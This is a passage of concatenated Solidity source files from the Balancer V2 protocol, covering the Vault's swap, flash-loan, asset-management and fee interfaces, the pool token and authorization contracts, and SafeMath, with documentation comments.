JOIN, EXIT } // Swaps // // Users can swap tokens with Pools by calling the `swap` and `batchSwap` functions. To do this, // they need not trust Pool contracts in any way: all security checks are made by the Vault. They must however be // aware of the Pools' pricing algorithms in order to estimate the prices Pools will quote. // // The `swap` function executes a single swap, while `batchSwap` can perform multiple swaps in sequence. // In each individual swap, tokens of one kind are sent from the sender to the Pool (this is the 'token in'), // and tokens of another kind are sent from the Pool to the recipient in exchange (this is the 'token out'). // More complex swaps, such as one token in to multiple tokens out can be achieved by batching together // individual swaps. // // There are two swap kinds: // - 'given in' swaps, where the amount of tokens in (sent to the Pool) is known, and the Pool determines (via the // `onSwap` hook) the amount of tokens out (to send to the recipient). // - 'given out' swaps, where the amount of tokens out (received from the Pool) is known, and the Pool determines // (via the `onSwap` hook) the amount of tokens in (to receive from the sender). // // Additionally, it is possible to chain swaps using a placeholder input amount, which the Vault replaces with // the calculated output of the previous swap. If the previous swap was 'given in', this will be the calculated // tokenOut amount. If the previous swap was 'given out', it will use the calculated tokenIn amount. These extended // swaps are known as 'multihop' swaps, since they 'hop' through a number of intermediate tokens before arriving at // the final intended token. // // In all cases, tokens are only transferred in and out of the Vault (or withdrawn from and deposited into Internal // Balance) after all individual swaps have been completed, and the net token balance change computed. This makes // certain swap patterns, such as multihops, or swaps that interact with the same token pair in multiple Pools, cost // much less gas than they would otherwise. // // It also means that under certain conditions it is possible to perform arbitrage by swapping with multiple // Pools in a way that results in net token movement out of the Vault (profit), with no tokens being sent in (only // updating the Pool's internal accounting). // // To protect users from front-running or the market changing rapidly, they supply a list of 'limits' for each token // involved in the swap, where either the maximum number of tokens to send (by passing a positive value) or the // minimum amount of tokens to receive (by passing a negative value) is specified. // // Additionally, a 'deadline' timestamp can also be provided, forcing the swap to fail if it occurs after // this point in time (e.g. if the transaction failed to be included in a block promptly). // // If interacting with Pools that hold WETH, it is possible to both send and receive ETH directly: the Vault will do // the wrapping and unwrapping. To enable this mechanism, the IAsset sentinel value (the zero address) must be // passed in the `assets` array instead of the WETH address. Note that it is possible to combine ETH and WETH in the // same swap. Any excess ETH will be sent back to the caller (not the sender, which is relevant for relayers). // // Finally, Internal Balance can be used when either sending or receiving tokens. enum SwapKind { GIVEN_IN, GIVEN_OUT } /** * @dev Performs a swap with a single Pool. * * If the swap is 'given in' (the number of tokens to send to the Pool is known), it returns the amount of tokens * taken from the Pool, which must be greater than or equal to `limit`. * * If the swap is 'given out' (the number of tokens to take from the Pool is known), it returns the amount of tokens * sent to the Pool, which must be less than or equal to `limit`. * * Internal Balance usage and the recipient are determined by the `funds` struct. * * Emits a `Swap` event. */ function swap( SingleSwap memory singleSwap, FundManagement memory funds, uint256 limit, uint256 deadline ) external payable returns (uint256); /** * @dev Data for a single swap executed by `swap`. `amount` is either `amountIn` or `amountOut` depending on * the `kind` value. * * `assetIn` and `assetOut` are either token addresses, or the IAsset sentinel value for ETH (the zero address). * Note that Pools never interact with ETH directly: it will be wrapped to or unwrapped from WETH by the Vault. * * The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be * used to extend swap behavior. */ struct SingleSwap { bytes32 poolId; SwapKind kind; IAsset assetIn; IAsset assetOut; uint256 amount; bytes userData; } /** * @dev Performs a series of swaps with one or multiple Pools. In each individual swap, the caller determines either * the amount of tokens sent to or received from the Pool, depending on the `kind` value. * * Returns an array with the net Vault asset balance deltas. Positive amounts represent tokens (or ETH) sent to the * Vault, and negative amounts represent tokens (or ETH) sent by the Vault. Each delta corresponds to the asset at * the same index in the `assets` array. * * Swaps are executed sequentially, in the order specified by the `swaps` array. Each array element describes a * Pool, the token to be sent to this Pool, the token to receive from it, and an amount that is either `amountIn` or * `amountOut` depending on the swap kind. * * Multihop swaps can be executed by passing an `amount` value of zero for a swap. This will cause the amount in/out * of the previous swap to be used as the amount in for the current one. In a 'given in' swap, 'tokenIn' must equal * the previous swap's `tokenOut`. For a 'given out' swap, `tokenOut` must equal the previous swap's `tokenIn`. * * The `assets` array contains the addresses of all assets involved in the swaps. These are either token addresses, * or the IAsset sentinel value for ETH (the zero address). Each entry in the `swaps` array specifies tokens in and * out by referencing an index in `assets`. Note that Pools never interact with ETH directly: it will be wrapped to * or unwrapped from WETH by the Vault. * * Internal Balance usage, sender, and recipient are determined by the `funds` struct. The `limits` array specifies * the minimum or maximum amount of each token the vault is allowed to transfer. * * `batchSwap` can be used to make a single swap, like `swap` does, but doing so requires more gas than the * equivalent `swap` call. * * Emits `Swap` events. */ function batchSwap( SwapKind kind, BatchSwapStep[] memory swaps, IAsset[] memory assets, FundManagement memory funds, int256[] memory limits, uint256 deadline ) external payable returns (int256[] memory); /** * @dev Data for each individual swap executed by `batchSwap`. The asset in and out fields are indexes into the * `assets` array passed to that function, and ETH assets are converted to WETH. * * If `amount` is zero, the multihop mechanism is used to determine the actual amount based on the amount in/out * from the previous swap, depending on the swap kind. * * The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be * used to extend swap behavior. */ struct BatchSwapStep { bytes32 poolId; uint256 assetInIndex; uint256 assetOutIndex; uint256 amount; bytes userData; } /** * @dev Emitted for each individual swap performed by `swap` or `batchSwap`. */ event Swap( bytes32 indexed poolId, IERC20 indexed tokenIn, IERC20 indexed tokenOut, uint256 amountIn, uint256 amountOut ); /** * @dev All tokens in a swap are either sent from the `sender` account to the Vault, or from the Vault to the * `recipient` account. * * If the caller is not `sender`, it must be an authorized relayer for them. * * If `fromInternalBalance` is true, the `sender`'s Internal Balance will be preferred, performing an ERC20 * transfer for the difference between the requested amount and the User's Internal Balance (if any). The `sender` * must have allowed the Vault to use their tokens via `IERC20.approve()`. This matches the behavior of * `joinPool`. * * If `toInternalBalance` is true, tokens will be deposited to `recipient`'s internal balance instead of * transferred. This matches the behavior of `exitPool`. * * Note that ETH cannot be deposited to or withdrawn from Internal Balance: attempting to do so will trigger a * revert. */ struct FundManagement { address sender; bool fromInternalBalance; address payable recipient; bool toInternalBalance; } /** * @dev Simulates a call to `batchSwap`, returning an array of Vault asset deltas. Calls to `swap` cannot be * simulated directly, but an equivalent `batchSwap` call can and will yield the exact same result. * * Each element in the array corresponds to the asset at the same index, and indicates the number of tokens (or ETH) * the Vault would take from the sender (if positive) or send to the recipient (if negative). The arguments it * receives are the same that an equivalent `batchSwap` call would receive. * * Unlike `batchSwap`, this function performs no checks on the sender or recipient field in the `funds` struct. * This makes it suitable to be called by off-chain applications via eth_call without needing to hold tokens, * approve them for the Vault, or even know a user's address. * * Note that this function is not 'view' (due to implementation details): the client code must explicitly execute * eth_call instead of eth_sendTransaction. */ function queryBatchSwap( SwapKind kind, BatchSwapStep[] memory swaps, IAsset[] memory assets, FundManagement memory funds ) external returns (int256[] memory assetDeltas); // Flash Loans /** * @dev Performs a 'flash loan', sending tokens to `recipient`, executing the `receiveFlashLoan` hook on it, * and then reverting unless the tokens plus a proportional protocol fee have been returned. * * The `tokens` and `amounts` arrays must have the same length, and each entry in these indicates the loan amount * for each token contract. `tokens` must be sorted in ascending order. * * The 'userData' field is ignored by the Vault, and forwarded as-is to `recipient` as part of the * `receiveFlashLoan` call. * * Emits `FlashLoan` events. */ function flashLoan( IFlashLoanRecipient recipient, IERC20[] memory tokens, uint256[] memory amounts, bytes memory userData ) external; /** * @dev Emitted for each individual flash loan performed by `flashLoan`. */ event FlashLoan(IFlashLoanRecipient indexed recipient, IERC20 indexed token, uint256 amount, uint256 feeAmount); // Asset Management // // Each token registered for a Pool can be assigned an Asset Manager, which is able to freely withdraw the Pool's // tokens from the Vault, deposit them, or assign arbitrary values to its `managed` balance (see // `getPoolTokenInfo`). This makes them extremely powerful and dangerous. Even if an Asset Manager only directly // controls one of the tokens in a Pool, a malicious manager could set that token's balance to manipulate the // prices of the other tokens, and then drain the Pool with swaps. The risk of using Asset Managers is therefore // not constrained to the tokens they are managing, but extends to the entire Pool's holdings. // // However, a properly designed Asset Manager smart contract can be safely used for the Pool's benefit, // for example by lending unused tokens out for interest, or using them to participate in voting protocols. // // This concept is unrelated to the IAsset interface. /** * @dev Performs a set of Pool balance operations, which may be either withdrawals, deposits or updates. * * Pool Balance management features batching, which means a single contract call can be used to perform multiple * operations of different kinds, with different Pools and tokens, at once. * * For each operation, the caller must be registered as the Asset Manager for `token` in `poolId`. */ function managePoolBalance(PoolBalanceOp[] memory ops) external; struct PoolBalanceOp { PoolBalanceOpKind kind; bytes32 poolId; IERC20 token; uint256 amount; } /** * Withdrawals decrease the Pool's cash, but increase its managed balance, leaving the total balance unchanged. * * Deposits increase the Pool's cash, but decrease its managed balance, leaving the total balance unchanged. * * Updates don't affect the Pool's cash balance, but because the managed balance changes, it does alter the total. * The external amount can be either increased or decreased by this call (i.e., reporting a gain or a loss). */ enum PoolBalanceOpKind { WITHDRAW, DEPOSIT, UPDATE } /** * @dev Emitted when a Pool's token Asset Manager alters its balance via `managePoolBalance`. */ event PoolBalanceManaged( bytes32 indexed poolId, address indexed assetManager, IERC20 indexed token, int256 cashDelta, int256 managedDelta ); // Protocol Fees // // Some operations cause the Vault to collect tokens in the form of protocol fees, which can then be withdrawn by // permissioned accounts. // // There are two kinds of protocol fees: // // - flash loan fees: charged on all flash loans, as a percentage of the amounts lent. // // - swap fees: a percentage of the fees charged by Pools when performing swaps. For a number of reasons, including // swap gas costs and interface simplicity, protocol swap fees are not charged on each individual swap. Rather, // Pools are expected to keep track of how much they have charged in swap fees, and pay any outstanding debts to the // Vault when they are joined or exited. This prevents users from joining a Pool with unpaid debt, as well as // exiting a Pool in debt without first paying their share. /** * @dev Returns the current protocol fee module. */ function getProtocolFeesCollector() external view returns (IProtocolFeesCollector); /** * @dev Safety mechanism to pause most Vault operations in the event of an emergency - typically detection of an * error in some part of the system. * * The Vault can only be paused during an initial time period, after which pausing is forever disabled. * * While the contract is paused, the following features are disabled: * - depositing and transferring internal balance * - transferring external balance (using the Vault's allowance) * - swaps * - joining Pools * - Asset Manager interactions * * Internal Balance can still be withdrawn, and Pools exited. */ function setPaused(bool paused) external; /** * @dev Returns the Vault's WETH instance. */ function WETH() external view returns (IWETH); // solhint-disable-previous-line func-name-mixedcase } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./IVault.sol"; import "./IPoolSwapStructs.sol"; /** * @dev Interface for adding and removing liquidity that all Pool contracts should implement. Note that this is not * the complete Pool contract interface, as it is missing the swap hooks. Pool contracts should also inherit from * either IGeneralPool or IMinimalSwapInfoPool */ interface IBasePool is IPoolSwapStructs { /** * @dev Called by the Vault when a user calls `IVault.joinPool` to add liquidity to this Pool. Returns how many of * each registered token the user should provide, as well as the amount of protocol fees the Pool owes to the Vault. * The Vault will then take tokens from `sender` and add them to the Pool's balances, as well as collect * the reported amount in protocol fees, which the pool should calculate based on `protocolSwapFeePercentage`. * * Protocol fees are reported and charged on join events so that the Pool is free of debt whenever new users join. * * `sender` is the account performing the join (from which tokens will be withdrawn), and `recipient` is the account * designated to receive any benefits (typically pool shares). `balances` contains the total balances * for each token the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return. * * `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total * balance. * * `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of * join (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.) * * Contracts implementing this function should check that the caller is indeed the Vault before performing any * state-changing operations, such as minting pool shares. */ function onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts); /** * @dev Called by the Vault when a user calls `IVault.exitPool` to remove liquidity from this Pool. Returns how many * tokens the Vault should deduct from the Pool's balances, as well as the amount of protocol fees the Pool owes * to the Vault. The Vault will then take tokens from the Pool's balances and send them to `recipient`, * as well as collect the reported amount in protocol fees, which the Pool should calculate based on * `protocolSwapFeePercentage`. * * Protocol fees are charged on exit events to guarantee that users exiting the Pool have paid their share. * * `sender` is the account performing the exit (typically the pool shareholder), and `recipient` is the account * to which the Vault will send the proceeds. `balances` contains the total token balances for each token * the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return. * * `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total * balance. * * `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of * exit (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.) * * Contracts implementing this function should check that the caller is indeed the Vault before performing any * state-changing operations, such as burning pool shares. */ function onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts); function getPoolId() external view returns (bytes32); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol"; interface IAssetManager { /** * @notice Emitted when asset manager is rebalanced */ event Rebalance(bytes32 poolId); /** * @notice Sets the config */ function setConfig(bytes32 poolId, bytes calldata config) external; /** * Note: No function to read the asset manager config is included in IAssetManager * as the signature is expected to vary between asset manager implementations */ /** * @notice Returns the asset manager's token */ function getToken() external view returns (IERC20); /** * @return the current assets under management of this asset manager */ function getAUM(bytes32 poolId) external view returns (uint256); /** * @return poolCash - The up-to-date cash balance of the pool * @return poolManaged - The up-to-date managed balance of the pool */ function getPoolBalances(bytes32 poolId) external view returns (uint256 poolCash, uint256 poolManaged); /** * @return The difference in tokens between the target investment * and the currently invested amount (i.e. the amount that can be invested) */ function maxInvestableBalance(bytes32 poolId) external view returns (int256); /** * @notice Updates the Vault on the value of the pool's investment returns */ function updateBalanceOfPool(bytes32 poolId) external; /** * @notice Determines whether the pool should rebalance given the provided balances */ function shouldRebalance(uint256 cash, uint256 managed) external view returns (bool); /** * @notice Rebalances funds between the pool and the asset manager to maintain target investment percentage. * @param poolId - the poolId of the pool to be rebalanced * @param force - a boolean representing whether a rebalance should be forced even when the pool is near balance */ function rebalance(bytes32 poolId, bool force) external; /** * @notice allows an authorized rebalancer to remove capital to facilitate large withdrawals * @param poolId - the poolId of the pool to withdraw funds back to * @param amount - the amount of tokens to withdraw back to the pool */ function capitalOut(bytes32 poolId, uint256 amount) external; } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ERC20Permit.sol"; import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol"; /** * @title Highly opinionated token implementation * @author Balancer Labs * @dev * - Includes functions to increase and decrease allowance as a workaround * for the well-known issue with `approve`: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * - Allows for 'infinite allowance', where an allowance of 0xff..ff is not * decreased by calls to transferFrom * - Lets a token holder use `transferFrom` to send their own tokens, * without first setting allowance * - Emits 'Approval' events whenever allowance is changed by `transferFrom` * - Assigns infinite allowance for all token holders to the Vault */ contract BalancerPoolToken is ERC20Permit { IVault private immutable _vault; constructor( string memory tokenName, string memory tokenSymbol, IVault vault ) ERC20(tokenName, tokenSymbol) ERC20Permit(tokenName) { _vault = vault; } function getVault() public view returns (IVault) { return _vault; } // Overrides /** * @dev Override to grant the Vault infinite allowance, causing for Pool Tokens to not require approval. * * This is sound as the Vault already provides authorization mechanisms when initiation token transfers, which this * contract inherits. */ function allowance(address owner, address spender) public view override returns (uint256) { if (spender == address(getVault())) { return uint256(-1); } else { return super.allowance(owner, spender); } } /** * @dev Override to allow for 'infinite allowance' and let the token owner use `transferFrom` with no self-allowance */ function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { uint256 currentAllowance = allowance(sender, msg.sender); _require(msg.sender == sender || currentAllowance >= amount, Errors.ERC20_TRANSFER_EXCEEDS_ALLOWANCE); _transfer(sender, recipient, amount); if (msg.sender != sender && currentAllowance != uint256(-1)) { // Because of the previous require, we know that if msg.sender != sender then currentAllowance >= amount _approve(sender, msg.sender, currentAllowance - amount); } return true; } /** * @dev Override to allow decreasing allowance by more than the current amount (setting it to zero) */ function decreaseAllowance(address spender, uint256 amount) public override returns (bool) { uint256 currentAllowance = allowance(msg.sender, spender); if (amount >= currentAllowance) { _approve(msg.sender, spender, 0); } else { // No risk of underflow due to if condition _approve(msg.sender, spender, currentAllowance - amount); } return true; } // Internal functions function _mintPoolTokens(address recipient, uint256 amount) internal { _mint(recipient, amount); } function _burnPoolTokens(address sender, uint256 amount) internal { _burn(sender, amount); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "@balancer-labs/v2-solidity-utils/contracts/helpers/Authentication.sol"; import "@balancer-labs/v2-vault/contracts/interfaces/IAuthorizer.sol"; /** * @dev Base authorization layer implementation for Pools. * * The owner account can call some of the permissioned functions - access control of the rest is delegated to the * Authorizer. Note that this owner is immutable: more sophisticated permission schemes, such as multiple ownership, * granular roles, etc., could be built on top of this by making the owner a smart contract. * * Access control of all other permissioned functions is delegated to an Authorizer. It is also possible to delegate * control of *all* permissioned functions to the Authorizer by setting the owner address to `_DELEGATE_OWNER`. */ abstract contract BasePoolAuthorization is Authentication { address private immutable _owner; address private constant _DELEGATE_OWNER = 0xBA1BA1ba1BA1bA1bA1Ba1BA1ba1BA1bA1ba1ba1B; constructor(address owner) { _owner = owner; } function getOwner() public view returns (address) { return _owner; } function getAuthorizer() external view returns (IAuthorizer) { return _getAuthorizer(); } function _canPerform(bytes32 actionId, address account) internal view override returns (bool) { if ((getOwner() != _DELEGATE_OWNER) && _isOwnerOnlyAction(actionId)) { // Only the owner can perform "owner only" actions, unless the owner is delegated. return msg.sender == getOwner(); } else { // Non-owner actions are always processed via the Authorizer, as "owner only" ones are when delegated. return _getAuthorizer().canPerform(actionId, account, address(this)); } } function _isOwnerOnlyAction(bytes32 actionId) internal view virtual returns (bool); function _getAuthorizer() internal view virtual returns (IAuthorizer); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; /** * @dev Interface for the TemporarilyPausable helper. */ interface ITemporarilyPausable { /** * @dev Emitted every time the pause state changes by `_setPaused`. */ event PausedStateChanged(bool paused); /** * @dev Returns the current paused state. */ function getPausedState() external view returns ( bool paused, uint256 pauseWindowEndTime, uint256 bufferPeriodEndTime ); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; _require(c >= a, Errors.ADD_OVERFLOW); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, Errors.SUB_OVERFLOW); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, uint256 errorCode) internal pure returns (uint256) { _require(b <= a, errorCode); uint256 c = a - b; return c; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; interface IAuthentication { /** * @dev Returns the action identifier associated with the external function described by `selector`. */ function getActionId(bytes4 selector) external view returns (bytes32); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; /** * @dev Interface for the SignatureValidator helper, used to support meta-transactions. */ interface ISignaturesValidator { /** * @dev Returns the EIP712 domain separator. */ function getDomainSeparator() external view returns (bytes32); /** * @dev Returns the next nonce used by an address to sign messages. */ function getNextNonce(address user) external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../openzeppelin/IERC20.sol"; /** * @dev Interface for WETH9. * See https://github.com/gnosis/canonical-weth/blob/0dd1ea3e295eef916d0c6223ec63141137d22d67/contracts/WETH9.sol */ interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint256 amount) external; } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; interface IAuthorizer { /** * @dev Returns true if `account` can perform the action described by `actionId` in the contract `where`. */ function canPerform( bytes32 actionId, address account, address where ) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; // Inspired by Aave Protocol's IFlashLoanReceiver. import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol"; interface IFlashLoanRecipient { /** * @dev When `flashLoan` is called on the Vault, it invokes the `receiveFlashLoan` hook on the recipient. * * At the time of the call, the Vault will have transferred `amounts` for `tokens` to the recipient. Before this * call returns, the recipient must have transferred `amounts` plus `feeAmounts` for each token back to the * Vault, or else the entire flash loan will revert. * * `userData` is the same value passed in the `IVault.flashLoan` call. */ function receiveFlashLoan( IERC20[] memory tokens, uint256[] memory amounts, uint256[] memory feeAmounts, bytes memory userData ) external; } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol"; import "./IVault.sol"; import "./IAuthorizer.sol"; interface IProtocolFeesCollector { event SwapFeePercentageChanged(uint256 newSwapFeePercentage); event FlashLoanFeePercentageChanged(uint256 newFlashLoanFeePercentage); function withdrawCollectedFees( IERC20[] calldata tokens, uint256[] calldata amounts, address recipient ) external; function setSwapFeePercentage(uint256 newSwapFeePercentage) external; function setFlashLoanFeePercentage(uint256 newFlashLoanFeePercentage) external; function getSwapFeePercentage() external view returns (uint256); function getFlashLoanFeePercentage() external view returns (uint256); function getCollectedFeeAmounts(IERC20[] memory tokens) external view returns (uint256[] memory feeAmounts); function getAuthorizer() external view returns (IAuthorizer); function vault() external view returns (IVault); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol"; import "./IVault.sol"; interface IPoolSwapStructs { // This is not really an interface - it just defines common structs used by other interfaces: IGeneralPool and // IMinimalSwapInfoPool. // // This data structure represents a request for a token swap, where `kind` indicates the swap type ('given in' or // 'given out') which indicates whether or not the amount sent by the pool is known. // // The pool receives `tokenIn` and sends `tokenOut`. `amount` is the number of `tokenIn` tokens the pool will take // in, or the number of `tokenOut` tokens the Pool will send out, depending on the given swap `kind`. // // All other fields are not strictly necessary for most swaps, but are provided to support advanced scenarios in // some Pools. // // `poolId` is the ID of the Pool involved in the swap - this is useful for Pool contracts that implement more than // one Pool. // // The meaning of `lastChangeBlock` depends on the Pool specialization: // - Two Token or Minimal Swap Info: the last block in which either `tokenIn` or `tokenOut` changed its total // balance. // - General: the last block in which *any* of the Pool's registered tokens changed its total balance. // // `from` is the origin address for the funds the Pool receives, and `to` is the destination address // where the Pool sends the outgoing tokens. // // `userData` is extra data provided by the caller - typically a signature from a trusted party. struct SwapRequest { IVault.SwapKind kind; IERC20 tokenIn; IERC20 tokenOut; uint256 amount; // Misc data bytes32 poolId; uint256 lastChangeBlock; address from; address to; bytes userData; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./ERC20.sol"; import "./IERC20Permit.sol"; import "./EIP712.sol"; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { mapping(address => uint256) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ constructor(string memory name) EIP712(name, "1") {} /** * @dev See {IERC20Permit-permit}. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { // solhint-disable-next-line not-rely-on-time _require(block.timestamp <= deadline, Errors.EXPIRED_PERMIT); 